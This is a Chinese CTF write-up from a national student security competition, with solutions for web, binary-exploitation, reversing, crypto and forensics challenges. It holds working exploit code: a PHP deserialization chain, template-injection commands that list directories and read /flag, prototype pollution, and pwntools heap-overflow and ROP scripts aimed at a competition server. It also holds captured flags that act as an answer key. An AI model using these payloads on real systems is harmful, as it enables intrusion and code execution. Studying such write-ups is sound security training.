第十三届全国大学生信息安全竞赛 Writeup by X1cT34m-小绿草信息安全实验室

Web

easyphp

?a=call_user_func&b=pcntl_wait

babyunserialize

  • www.zip源码泄露,很像wmctf的webweb,但是官方wp的链没法用,因为源码相对于原题修改了些地方,网上找了下,找到了这个博客http://blog.ccreater.top/2020/08/04/wmctf2020/
  • 里面有一条能用的链,用它来运行phpinfo
<?php
namespace DB{
    abstract class Cursor  implements \IteratorAggregate {}
}

namespace DB\SQL{
    class Mapper extends \DB\Cursor{
        protected
            $props=["quotekey"=>"phpinfo"],
            $adhoc=["16"=>["expr"=>""]],
            $db;
        function offsetExists($offset){}
        function offsetGet($offset){}
        function offsetSet($offset, $value){}
        function offsetUnset($offset){}
        function getIterator(){}
        function __construct($val){
            $this->db = $val;
        }
    }
}
namespace CLI{
    class Agent {
        protected
            $server="";
        public $events;
        public function __construct(){
            $this->events=["disconnect"=>array(new \DB\SQL\Mapper(new \DB\SQL\Mapper("")),"find")];
            $this->server=&$this;

        }
    };
    class WS{}
}
namespace {
    echo urlencode(serialize(array(new \CLI\WS(),new \CLI\Agent())));
}
$props=["quotekey"=>"phpinfo"],

$adhoc=["16"=>["expr"=>""]],

16代表打印环境变量

第十三届全国大学生信息安全竞赛 Writeup by X1cT34m-小绿草信息安全实验室

rceme

  • 列根目录
{if:aaa)echo `ls /`;//}{end if}
  • 读flag
{if:aaa)echo `cat /flag`;//}{end if}
第十三届全国大学生信息安全竞赛 Writeup by X1cT34m-小绿草信息安全实验室

LittleGame

set-value原型链污染

  • exp
import requests
url = "http://ip:port/"
session = requests.session()
//重生点
session.get(url+"SpawnPoint")
//后门
session.post(url+"Privilege",data={"NewAttributeKey":"__proto__.jylsec","NewAttributeValue":"jylsec"})
//拿flag
r = session.post(url+"DeveloperControlPanel",data={"key":"jylsec","password":"jylsec"})
print(r.text)

easytrick

<?php
class trick{
    public $trick1="INF";
    public $trick2=INF;
}
echo urlencode(serialize(new trick()));

Pwn

babyjsc

jsc没给diff。
审计server.py发现存在input()函数
input()最终会调用eval再次执行一遍,并且程序import os了,可以直接rce。
os.system('/bin/sh')

nofree

程序调用strdup来申请堆,但strdup分配的chunk大小是根据字符串长度进行,在给size[i]赋值时候没考虑这点,导致存储的size可以大于实际chunk size,从而造成堆溢出。
堆溢出修改topchunk的size。
之后申请topchunk的大小,会减少两个0x10的chunk块后,如果size大小在fastbin大小内,则会被free进入fastbin链表。
此时可以劫持fastbin的fd来制造fastbin attack。
提前在bss上伪造好头部后就可以劫持heap列表后实现无限次任意地址写。
libc的leak通过修改strdup为printf。之后add(content)为printf(content),直接格式化字符串来leak栈上残留的libc地址。
最终修改strdup为system来getshell。

from pwn import *
def add(idx, size, content='a'):
    r.sendlineafter("choice>> ", "1")
    r.sendlineafter("idx: ", str(idx))
    r.sendlineafter("size: ", str(size))
    r.sendafter("content: ", content)

def edit(idx, content):
    r.sendlineafter("choice>> ", "2")
    r.sendlineafter("idx: ", str(idx))
    r.sendafter("content: ", content)

def gd():
    gdb.attach(r)
    pause()
#r = process('./nofree')
libc=ELF('./libc-2.23.so')
elf=ELF('./nofree')
r = remote('101.200.53.148',12301)
for i in range(24):
    add(0,0x90,'a'*0x90)
add(0, 0x90, 'a' * 0x50)
edit(0, 'a'*0x50 +p64(0)+ p64(0xa1))
add(1, 0x90, "a" * 0x90)
add(1, 0x81,)
edit(0, 'a'*0x50 +p64(0)+p64(0x81)+p64(0x6021D0))
add(2, 0x70, "a" * 0x70)
add(2, 0x70, "a" * 0x70)
edit(2, p64(elf.got['strdup']) + p64(0x100))
edit(2,p64(elf.plt['printf']))
add(0, 0x10, "%4$p\n")
r.recvuntil('0x')
leak = int(r.recv(12),16)
print hex(leak)
lbase=leak-0x5ED700
edit(2, p64(lbase + 0x453a0))
add(0, 0x10, "/bin/sh\x00")

r.interactive()

maj

程序无leak。存在free后没置零的问题。
直接double free测没有tcahce,推测为libc 2.23环境。
没有开pie的情况下直接劫持fastbin到bss段。
在add时候提前布置好头,一路分配后写头让chunk能分配到heap_list上。
unsorted bin attack把heap_list部分写上libc地址后,部分改区爆破stdout地址。
通过stdout来leak。
应该是1/16的概率,但似乎有点问题导致实际爆破下来概率低于理论概率。
当然可能是我脸黑

from pwn import *

#r=remote('101.200.53.148',15423)
def add(size,content=''):

    r.sendlineafter('>>','1')

    r.sendlineafter(' the question','80')

    r.sendlineafter('______?',str(size))

    r.sendlineafter('es_or_no?',content)

def free(idx):

    r.sendlineafter('>>','2')

    r.sendlineafter('ndex ?',str(idx))

def edit(idx,content):

    r.sendlineafter('>>','4')

    r.sendlineafter('ndex ?',str(idx))

    r.sendafter('__new_content ?',content)
def gd(cmd=''):
    gdb.attach(r)
    pause()
libc=ELF('./libc-2.23.so')
while True:
    try:
        r=remote('101.200.53.148',15423)
        add(0x100,'\x00'*0xf8+p64(0x71))#0
        add(0x60)#1
        add(0x71)#2
        free(1)
        edit(1,p64(0x000000000603260))
        add(0x0)#3
        add(0x60)#4
        add(0x60)#5 hijack size
        edit(5,p64(0x0)*11+p64(0x71))
        free(1)
        edit(1,p64(0x6032c0))
        add(0x60)#6
        add(0x60)#7 hijack heap list
        free(0)
        edit(0,p64(0)+p64(0x6032e0-0x10))
        add(0x100)#8
        edit(7,p64(0)*2+'\x20'+'\x76')
        edit(0,p64(0x0FBAD1887) +p64(0)*3 + '\x88')
        r.recvline()
        print '1'
        leak=u64(r.recv(8))
        print 'leak '+hex(leak)
        if(leak==0x2d2d2d0a656e6f64):
            raise TypeError
        libc_base=leak-libc.symbols['_IO_2_1_stdin_']
        print 'libc_base '+hex(libc_base)
        free_hook=libc_base+libc.symbols['__free_hook']
        edit(7,'/bin/sh\x00'+p64(0)+p64(free_hook))
        edit(0,p64(libc_base+libc.symbols['system']))
        free(7)
        #gd()
        r.interactive()
    except:
        r.close()

easybox

libc-2.23
漏洞点在于add时候会溢出一位,可以off by one。
跟maj基本一样的利用链。
存在off by one的情况下可以修改堆的size段来制造堆重叠。
从而可以劫持fastbin。
但是跟maj不同的是程序开启了pie。
所以直接劫持fastbin到stdout的上面。
位置末尾三位在0x5dd
通过分配出unsorted bin后来留下libc地址随后爆破一位劫持fastbin到stdout。
之后劫持fastbin到malloc_hook去执行onegadget。

from pwn import*
def add(index,size,content):
    r.sendlineafter('>>>','1')
    r.sendlineafter('idx:',str(index))
    r.sendlineafter('len:',str(size))
    r.sendafter('content:',content)
def free(index):
    r.sendlineafter('>>>','2')
    r.sendlineafter('idx:',str(index))
def gd():
    gdb.attach(r)
    pause()
while True:
    try:
        #r = process('./pwn')
        r = remote('101.200.53.148',34521)
        libc =ELF('./libc-2.23.so')
        add(0,0x18,'a')
        add(1,0x50,'a')
        add(2,0x60,'a')
        add(3,0x10,'a')
        add(4,0x10,'a')
        free(0)
        add(0,0x18,'a'*0x18+'\xf1')
        free(1)
        free(2)
        add(5,0x50,'a')
        add(6,0x70,'\xdd\x45')
        free(5)
        add(5,0x58,'a'*0x58+'\x71')
        add(7,0x60,'a')
        add(8,0x60,'\x00'*0x33+p64(0x0FBAD1887) +p64(0)*3 + '\x88')
        r.recvuntil('\n')
                lbase = u64(r.recv(8)) - libc.sym['_IO_2_1_stdin_']
        print 'libc:\t' + hex(lbase)
        malloc_hook = lbase + libc.symbols['__malloc_hook']
        #gd()
        one = lbase + 0xF1207
        free(6)
        free(0)
        add(0,0x18,'a'*0x18+'\xf1')
        free(5)
        add(1,0x50,'a')
        add(5,0x70,p64(malloc_hook-0x23))
        free(1)
        add(1,0x58,'a'*0x58+'\x71')
        add(9,0x60,'a')
        add(10,0x60,'\x00'*0x13+p64(one))
        r.interactive()
    except:
        r.close()

wow

跟rctf的bf很像//感觉就是那题的静态编译。
opcode对应如下:

@ pointer ++
# pointer --
^ val ++
| val --
& write
$ read

跟brainfuck的语法一样。c++静态编译。
漏洞点在于指针++时候先check有没有越界再++
导致了实际指针可以溢出一位,修改写入的string。
漏洞跟利用过程跟rctf的bf接近一模一样。
需要注意的是最后需要修复string。

from pwn import *
def gd(cmd=''):
    gdb.attach(r,cmd)
    pause()

def run(code):
    r.sendlineafter('code:',code)
while True:
    try:
        #r=remote('101.200.53.148',15324)
        r=process('./wow')
        py='^{@^}$'
        run(py)
        r.send(chr(0x10))
        r.recvuntil('ne! your code: ')
        leak=u64(r.recv(6).ljust(8,'\x00'))
        assert(leak&0xff==0x10)
        assert(leak>>40 ==0x7f)
        print 'leak '+hex(leak)
        esp=leak-0x4b8
        print 'esp '+hex(esp)
        r.recvuntil('continue?')
        r.send('Y')
        run('a'*0x10+'\x08'+'\x10'*0x10)
        r.recvuntil('continue?')
        r.send('Y')
        run('a'*0x8+'\x00')
        r.recvuntil('continue?')
        r.send('Y')
        run('a'*0x10+'\x48')
        r.recvuntil('continue?')
        r.send('Y')

        tflag = leak + 0x138
        mv1 = 0x524300
        mv2 = 0x524310
        mas = 0x417427
        pd = 0x4047BA
        ps = 0x407578
        pdx = 0x40437F
        psp = 0x405831
        syscall = 0x52A725
        rop  = '\x00'*0x30
        rop += p64(pd) + p64(tflag)
        rop += p64(ps) + p64(0)
        rop += p64(pdx) + p64(0)
        rop += p64(mv2)
        rop += p64(syscall)
        rop += p64(pd) + p64(3)
        rop += p64(ps) + p64(0)
        rop += p64(mas)
        rop += p64(ps) + p64(0x5D9B00)
        rop += p64(pdx) + p64(0x30)
        rop += p64(syscall)
        rop += p64(pd) + p64(1)
        rop += p64(ps) + p64(0x5D9B00)
        rop += p64(pdx) + p64(0x30)
        rop += p64(mv1)
        rop += p64(syscall)
        rop += './flag\x00'
        run(rop)
        r.recvuntil('continue?')
        r.send('Y')
        run(py)
        r.send('\x20')
        r.interactive()
        p.send('N')
        r.interactive()
    except:
        r.close()

Re

z3

很明显是矩阵,dump出数据直接解

# sage
flag = ''
tmp = [20247,40182,36315,36518,26921,39185,16546,12094,25270,19330,18540,16386,21207,11759,10460,25613,21135,24891,18305,27415,12855,10899,24927,20670,22926,18006,23345,12602,12304,26622,19807,22747,14233,24736,10064,14169,35155,28962,33273,21796,35185,14877]

M = matrix(ZZ, [
    [12 , 53 , 6 , 34 , 58 , 36 , 1],
    [83 , 85 , 12 , 73 , 27 , 96 , 52],
    [78 , 53 , 24 , 36 , 86 , 25 , 46],
    [39 , 78 , 52 , 9 , 62 , 37 , 84],
    [23 , 6 , 14 , 74 , 48 , 12 , 83],
    [27 , 85 , 92 , 42 , 48 , 15 , 72],
    [4 , 6 , 3 , 67 , 0 , 26 , 68],
])

for i in range(0, len(tmp), 7):
    X = M.solve_right(matrix(ZZ, 7, 1, tmp[i:i+7]))
    for j in X.transpose()[0]:
        flag += chr(j)
print(flag)
# flag{7e171d43-63b9-4e18-990e-6e14c2afe648}

hyperthreading

多线程反调试花指令
第十三届全国大学生信息安全竞赛 Writeup by X1cT34m-小绿草信息安全实验室
只有第一个创建的线程有操作
第二个单纯和标志位相加,再调试时标志位不为0
所以直接忽视
第三个创建的就是个死循环检测调试也不用管
第一个有指令重叠,调试即可
花指令不用管只需要调试
先(input[i]>>2)^(input[i]<<6)
然后xor 0x23
然后sleep让线程切换直接忽视
然后+ 0x23
最后比较

flag = ''
hape = [221, 91, 158, 29, 32, 158, 144, 145, 144, 144, 145, 146, 222, 139, 17, 209, 30, 158, 139, 81, 17, 80, 81, 139, 158, 93, 93, 17, 139, 144, 18, 145, 80, 18, 210, 145, 146, 30, 158, 144, 210, 159]
for i in range(len(hape)):
    hape[i] -= 0x23
    hape[i] &= 0xff
    hape[i] ^= 0x23
    hape[i] = ((hape[i] << 2) ^ (hape[i] >> 6)) & 0xff
    flag += chr(hape[i])
print flag
#flag{a959951b-76ca-4784-add7-93583251ca92}

oplog

智能合约逆向

给的bytecode是合约创建的字节码,去除前面一段用于创建合约的字节码后,扔到反汇编网站:https://ethervm.io/decompile ,可以得到反汇编的solidity伪代码。

根据提供的abi复原一下函数名:

4byte Function
0x890eba68 flag()
0x6ca5b5b0 r1()
0x0bcbbd21 r2()
0x8bf6e410 r3()
0x343943bd x1()
0x4ff13571 x2()
0xa3b78873 x3()
0x56b15fe3 feistel(uint256,uint256,uint256)
0xc4ee5c77 calcx(uint256,uint256,uint256,uint256)
0xa7ba732e setflag(uint256)
0x7059c7e0 setr1(uint256)
0x5e031f4a setr2(uint256)
0x6c3ce676 setr3(uint256)

把反汇编代码里的函数名都改一下,得到最终美化的伪代码:

contract Contract {
    function main() {
        memory[0x40:0x60] = 0x80;
        var var0 = msg.value;

        if (var0) { revert(memory[0x00:0x00]); }

        if (msg.data.length < 0x04) { revert(memory[0x00:0x00]); }

        var0 = msg.data[0x00:0x20] >> 0xe0;
        // var0: function signature

        if (0x6ca5b5b0 > var0) {
            if (var0 == 0x0bcbbd21) {
                // Dispatch table entry for r2()
                var var1 = 0x00dc;
                var var2 = r2();
                var temp0 = memory[0x40:0x60];
                memory[temp0:temp0 + 0x20] = var2;
                var temp1 = memory[0x40:0x60];
                return memory[temp1:temp1 + (temp0 + 0x20) - temp1];
            } else if (var0 == 0x343943bd) {
                // Dispatch table entry for x1()
                var1 = 0x00fa;
                var2 = x1();
                var temp2 = memory[0x40:0x60];
                memory[temp2:temp2 + 0x20] = var2;
                var temp3 = memory[0x40:0x60];
                return memory[temp3:temp3 + (temp2 + 0x20) - temp3];
            } else if (var0 == 0x4ff13571) {
                // Dispatch table entry for x2()
                var1 = 0x0118;
                var2 = x2();
                var temp4 = memory[0x40:0x60];
                memory[temp4:temp4 + 0x20] = var2;
                var temp5 = memory[0x40:0x60];
                return memory[temp5:temp5 + (temp4 + 0x20) - temp5];
            } else if (var0 == 0x56b15fe3) {
                // Dispatch table entry for 0x56b15fe3 feistel(uint256,uint256,uint256)
                var1 = 0x016e;
                var2 = 0x04;
                var var3 = msg.data.length - var2;

                if (var3 < 0x60) { revert(memory[0x00:0x00]); }

                feistel(var2, var3);
                stop();
            } else if (var0 == 0x5e031f4a) {
                // Dispatch table entry for 0x5e031f4a setr2(uint256)
                var1 = 0x019c;
                var2 = 0x04;
                var3 = msg.data.length - var2;

                if (var3 < 0x20) { revert(memory[0x00:0x00]); }

                set_s2(var2, var3);
                stop();
            } else if (var0 == 0x6c3ce676) {
                // Dispatch table entry for 0x6c3ce676 setr3(uint256)
                var1 = 0x01ca;
                var2 = 0x04;
                var3 = msg.data.length - var2;

                if (var3 < 0x20) { revert(memory[0x00:0x00]); }

                set_s3(var2, var3);
                stop();
            } else { revert(memory[0x00:0x00]); }
        } else if (0x8bf6e410 > var0) {
            if (var0 == 0x6ca5b5b0) {
                // Dispatch table entry for r1()
                var1 = 0x01d4;
                var2 = r1();
                var temp6 = memory[0x40:0x60];
                memory[temp6:temp6 + 0x20] = var2;
                var temp7 = memory[0x40:0x60];
                return memory[temp7:temp7 + (temp6 + 0x20) - temp7];
            } else if (var0 == 0x7059c7e0) {
                // Dispatch table entry for 0x7059c7e0 setr1(uint256)
                var1 = 0x0216;
                var2 = 0x04;
                var3 = msg.data.length - var2; // 0x20

                if (var3 < 0x20) { revert(memory[0x00:0x00]); }

                set_s1(var2, var3);
                stop();
            } else if (var0 == 0x890eba68) {
                // Dispatch table entry for flag()
                var1 = 0x0220;
                var2 = flag();
                var temp8 = memory[0x40:0x60];
                memory[temp8:temp8 + 0x20] = var2;
                var temp9 = memory[0x40:0x60];
                return memory[temp9:temp9 + (temp8 + 0x20) - temp9];
            } else { revert(memory[0x00:0x00]); }
        } else if (var0 == 0x8bf6e410) {
            // Dispatch table entry for 0x8bf6e410 r3()
            var1 = 0x023e;
            var2 = r3();
            var temp10 = memory[0x40:0x60];
            memory[temp10:temp10 + 0x20] = var2;
            var temp11 = memory[0x40:0x60];
            return memory[temp11:temp11 + (temp10 + 0x20) - temp11];
        } else if (var0 == 0xa3b78873) {
            // Dispatch table entry for 0xa3b78873 x3()
            var1 = 0x025c;
            var2 = x3();
            var temp12 = memory[0x40:0x60];
            memory[temp12:temp12 + 0x20] = var2;
            var temp13 = memory[0x40:0x60];
            return memory[temp13:temp13 + (temp12 + 0x20) - temp13];
        } else if (var0 == 0xa7ba732e) {
            // Dispatch table entry for 0xa7ba732e setflag(uint256)
            var1 = 0x029e;
            var2 = 0x04;
            var3 = msg.data.length - var2;

            if (var3 < 0x20) { revert(memory[0x00:0x00]); }

            set_flag(var2, var3);
            stop();
        } else if (var0 == 0xc4ee5c77) {
            // Dispatch table entry for 0xc4ee5c77 calcx(uint256,uint256,uint256,uint256)
            var1 = 0x02ea;
            var2 = 0x04;
            var3 = msg.data.length - var2;

            if (var3 < 0x80) { revert(memory[0x00:0x00]); }

            calc(var2, var3);
            stop();
        } else { revert(memory[0x00:0x00]); }
    }

    function feistel(var arg0, var arg1) {
        var temp0 = arg0;
        var temp1 = temp0 + 0x20;
        arg0 = msg.data[temp0:temp0 + 0x20];
        arg1 = msg.data[temp1:temp1 + 0x20];
        var arg2 = msg.data[temp1 + 0x20:temp1 + 0x20 + 0x20];
        var temp2 = storage[0x04] & 0x2aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa;
        var temp3 = arg0;
        var temp4 = temp2 ~ (storage[0x04] & 0x555555555555555555555555555555555555) ~ temp3;
        var temp5 = arg1;
        var temp6 = temp4 ~ temp2 ~ temp5;
        var temp7 = arg2;
        storage[0x04] = temp6 ~ temp6 ~ temp4 ~ temp7;
        var temp8 = storage[0x05] & 0x2aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa;
        var temp9 = temp8 ~ (storage[0x05] & 0x555555555555555555555555555555555555) ~ temp3;
        var temp10 = temp9 ~ temp8 ~ temp5;
        storage[0x05] = temp10 ~ temp10 ~ temp9 ~ temp7;
        var temp11 = storage[0x06] & 0x2aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa;
        var temp12 = temp11 ~ (storage[0x06] & 0x555555555555555555555555555555555555) ~ temp3;
        var temp13 = temp12 ~ temp11 ~ temp5;
        storage[0x06] = temp13 ~ temp13 ~ temp12 ~ temp7;
    }

    function set_s2(var arg0, var arg1) {
        arg0 = msg.data[arg0:arg0 + 0x20];
        arg1 = arg0;
        var var0 = storage[0x00];

        if (!arg1) { assert(); }

        storage[0x02] = var0 % arg1;
    }

    function set_s3(var arg0, var arg1) {
        arg0 = msg.data[arg0:arg0 + 0x20];
        arg1 = arg0;
        var var0 = storage[0x00];

        if (!arg1) { assert(); }

        storage[0x03] = var0 % arg1;
    }

    function set_s1(var arg0, var arg1) { // 4, 0x20
        r1 = msg.data[arg0:arg0 + 0x20];
        arg1 = r1;
        var var0 = storage[0x00];

        if (!arg1) { assert(); }

        storage[0x01] = var0 % arg1;
    }

    function set_flag(var arg0, var arg1) {
        arg0 = msg.data[arg0:arg0 + 0x20];
        storage[0x00] = arg0;
    }

    function calc(var arg0, var arg1) {
        var temp0 = arg0;
        var temp1 = temp0 + 0x20;
        arg0 = msg.data[temp0:temp0 + 0x20];
        var temp2 = temp1 + 0x20;
        arg1 = msg.data[temp1:temp1 + 0x20];
        var arg2 = msg.data[temp2:temp2 + 0x20];
        var arg3 = msg.data[temp2 + 0x20:temp2 + 0x20 + 0x20];

        if (arg0 == 0x01) {
            storage[0x04] = storage[0x01] * arg1 + storage[0x02] * arg2 + storage[0x03] * arg3;
            goto label_04B9;
        } else if (arg0 != 0x02) { // 0x03
            storage[0x06] = storage[0x01] * arg1 + storage[0x02] * arg2 + storage[0x03] * arg3;

        label_04B9:
            return;
        } else { // 0x02
            storage[0x05] = storage[0x01] * arg1 + storage[0x02] * arg2 + storage[0x03] * arg3;
            goto label_04B9;
        }
    }

    function r2() returns (var r0) { return storage[0x02]; }

    function x1() returns (var r0) { return storage[0x04]; }

    function x2() returns (var r0) { return storage[0x05]; }

    function r1() returns (var r0) { return storage[0x01]; }

    function flag() returns (var r0) { return storage[0x00]; }

    function r3() returns (var r0) { return storage[0x03]; }

    function x3() returns (var r0) { return storage[0x06]; }
}

再根据提供的log文件,可以分析出具体的函数调用:

input:0x7059c7e00000000000000000000000000000000088c218df8c5c25674af5808d963bfee9
# setr1(0x00000000000000000000000000000000088c218df8c5c25674af5808d963bfee9)

input:0x5e031f4a00000000000000000000000000000000fa8cca1bced017e0ab064d4844c3020b
# setr2(0x00000000000000000000000000000000fa8cca1bced017e0ab064d4844c3020b)

input:0x6c3ce67600000000000000000000000000000000e0ac283049469716cebd61a5b97b8bef
# setr3(0x00000000000000000000000000000000e0ac283049469716cebd61a5b97b8bef)

input:0xc4ee5c770000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000d06200000000000000000000000000000000000000000000000000000000000037b9000000000000000000000000000000000000000000000000000000000000cc13
result:x1 14678491206170330851881690558556870568208252
# calcx(0x0001, 0xd062, 0x37b9, 0xcc13)

input:0xc4ee5c770000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000a4fb000000000000000000000000000000000000000000000000000000000000a0a50000000000000000000000000000000000000000000000000000000000002fca
# calcx(0x0002, 0xa4fb, 0xa0a5, 0x2fca)

input:0xc4ee5c7700000000000000000000000000000000000000000000000000000000000000030000000000000000000000000000000000000000000000000000000000008f9b0000000000000000000000000000000000000000000000000000000000009805000000000000000000000000000000000000000000000000000000000000a6a0
# calcx(0x0003, 0x8f9b, 0x9805, 0xa6a0)

input:0x56b15fe30000000000000000000000000000xxxxx...xxxxxxxx
# feistel(?, ??, ???)

result:
x1 2357997788534811140333166336809177915724020
x2 94024083436562980853861433269689272115769
x3 7686765725723381031146546660250331403246417

分别去逆每一个小函数,可以汇总出算法流程:

r1 = flag % 0x00000000000000000000000000000000088c218df8c5c25674af5808d963bfee9

r2 = flag % 0x00000000000000000000000000000000fa8cca1bced017e0ab064d4844c3020b

r3 = flag % 0x00000000000000000000000000000000e0ac283049469716cebd61a5b97b8bef

x1 = r1 * 0xd062 + r2 * 0x37b9 + r3 * 0xcc13 = 14678491206170330851881690558556870568208252

x2 = r1 * 0xa4fb + r2 * 0xa0a5 + r3 * 0x2fca

x3 = r1 * 0x8f9b + r2 * 0x9805 + r3 * 0xa6a0

---

tmp2 = x1 & 0x2aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

tmp4 = tmp2 ~ (x1 & 0x555555555555555555555555555555555555) ~ ?

tmp6 = tmp4 ~ tmp2 ~ ??

x1 = tmp6 ~ tmp6 ~ tmp4 ~ ??? = 2357997788534811140333166336809177915724020

tmp8 = x2 & 0x2aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

tmp9 = tmp8 ~ (x2 & 0x555555555555555555555555555555555555) ~ ?

tmp10 = tmp9 ~ tmp8 ~ ??

x2 = tmp10 ~ tmp10 ~ tmp9 ~ ??? = 94024083436562980853861433269689272115769

tmp11 = x3 & 0x2aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

tmp12 = tmp11 ~ (x3 & 0x555555555555555555555555555555555555) ~ ?

tmp13 = tmp12 ~ tmp11 ~ ??

x3 = tmp13 ~ tmp13 ~ tmp12 ~ ??? = 7686765725723381031146546660250331403246417

其中~本来以为是取反的,但是明显是一个二元操作符,观察opcode后发现是异或。

?, ??, ???分别是传入feistel的3个未知量。

稍微分析一下,就能看出来最后的feistel实际上就是分别对x1, x2, x3作运算:
(xi & (0x2aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa + 0x555555555555555555555555555555555555))^ ? ^ ?? ^ ???

由于异或之前和异或之后的x1均已知,所以可以求出? ^ ?? ^ ???,进而反逆出异或之前的x2, x3,然后解一个三元一次方程,再用中国剩余定理即可得到flag

# sage
pre_x1 = 14678491206170330851881690558556870568208252
aft_x1 = 2357997788534811140333166336809177915724020
aft_x2 = 94024083436562980853861433269689272115769
aft_x3 = 7686765725723381031146546660250331403246417

# ? ^ ?? ^ ???
xor =  aft_x1 ^^ (pre_x1 & (0x2aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa+0x555555555555555555555555555555555555))

pre_x2 = (xor ^^ aft_x2) + 2^143
pre_x3 = (xor ^^ aft_x3) + 2^143

Y = matrix(ZZ, 3, 1, [pre_x1, pre_x2, pre_x3])
M = matrix(ZZ, [
    [0xd062, 0x37b9, 0xcc13],
    [0xa4fb, 0xa0a5, 0x2fca],
    [0x8f9b, 0x9805, 0xa6a0]
])

R = M.solve_right(Y)
print(R)

r1 = R[0,0] # 6996321698335919971399548807299700961
r2 = R[1,0] # 315106591821413211674346201300746078726
r3 = R[2,0] # 187781518988542836371434673857311370092

n1 = 0x00000000000000000000000000000000088c218df8c5c25674af5808d963bfee9
n2 = 0x00000000000000000000000000000000fa8cca1bced017e0ab064d4844c3020b
n3 = 0x00000000000000000000000000000000e0ac283049469716cebd61a5b97b8bef

flag = CRT([r1, r2, r3], [n1, n2, n3])
print(bytes.fromhex(hex(flag)[2:]))
# b'flag{wuhan_v3r9_g009_s4y_w3jj_8}'

注意异或之后会把xi的最高位(第144位)给截断掉,所以在反逆x2, x3的时候要把这失去的最高位补回去(+ 2^143)

Crypto

lfsr

线性反馈移位寄存器

需要求解mask

lfsr的每一bit输出,都可以看成是当前状态的一个线性函数:
$$
output = m_0s_0 + m_1s1 + \cdots + m{99}s_{99}
$$

$m_i$就是mask的每一位,有100个未知量,列100个方程即可求解。

sage解方程即可

N = 100

output = "0100110011101111011111011010100111001010010100001111110110111101011110011111010010010111011100110111011001100001010010011101101000110110000011111011110000010100001001000011001011011011011001111110101111001010011011100010011110101100100101111001011100011110111101001010000000100100000111100101100100100000100110001111110011100110101000110100011001110110000"[:200]

data = [[int(bit) for bit in output[j:j+N]] for j in range(N+1)]
M = matrix(GF(2), data[:N])
T = matrix(GF(2), data[-1])
sol = M.solve_left(T)

mask = ''.join(str(bit) for bit in sol[0][::-1])
print(int(mask, 2))

得到flag{856137228707110492246853478448}

bd

RSA的Boneh and Durfee Attack

网上找到的脚本:https://github.com/mimoo/RSA-and-LLL-attacks/blob/master/boneh_durfee.sage

把脚本里的数据改一下,就可以跑出来d

d = 1485313191830359055093545745451584299495272920840463008756233

然后解密就可以得到flag{d3752538-90d0-c373-cfef-9247d3e16848}

Misc

电脑被黑

binwalk -e 分出一张图片和elf

第十三届全国大学生信息安全竞赛 Writeup by X1cT34m-小绿草信息安全实验室
发现是加密程序
图片显示flag被删除
ext3grep 恢复出
第十三届全国大学生信息安全竞赛 Writeup by X1cT34m-小绿草信息安全实验室
再解密即可

a = [0x44,0x2A,0x03,0xE5,0x29,0xA3,0xAF,0x62,0x05,0x31,0x4E,0xF3,0xD6,0xEB,0x90,0x66,0x24,0x5C,0xB7,0x92,0xF6,0xD7,0x4D,0x0B,0x6A,0x41,0xA3,0x85,0xEF,0x90,0x5A,0x7E,0x5B,0xEC,0xC1,0xF0,0xD4,0x61,0x12,0x12,0x45,0xEB,0xB8]
flag = ''
v4 = 34
v5 = 0
for i in range(len(a)):
    flag += chr((v4^a[i])-v5)
    v4 += 34
    v4 &= 0xff
    v5 = (v5+2)&0xf
print flag
#flag{e5d7c4ed-b8f6-4417-8317-b809fc26c047}

the_best_ctf_game

ida打开能找到分开的flag字样,用python去除下无关字符即可

a='''
................
f...............
................
........l.......
................
................
a...............
................
........g.......
................
................
{...............
................
........6.......
................
................
5...............
................
........e.......
................
................
0...............
................
........2.......
................
................
f...............
................
........2.......
................
................
6...............
................
........-.......
................
................
0...............
................
........d.......
................
................
6...............
................
........e.......
................
................
-...............
................
........4.......
................
................
6...............
................
........3.......
................
................
f...............
................
........-.......
................
................
b...............
................
........c.......
................
................
6...............
................
........3.......
................
................
-...............
................
........2.......
................
................
d...............
................
........f.......
................
................
7...............
................
........3.......
................
................
3...............
................
........e.......
................
................
4...............
................
........7.......
................
................
f...............
................
........b.......
................
................
e}..............
'''
a=a.replace('.','')
a=a.replace('\n','')
print a

签到

第十三届全国大学生信息安全竞赛 Writeup by X1cT34m-小绿草信息安全实验室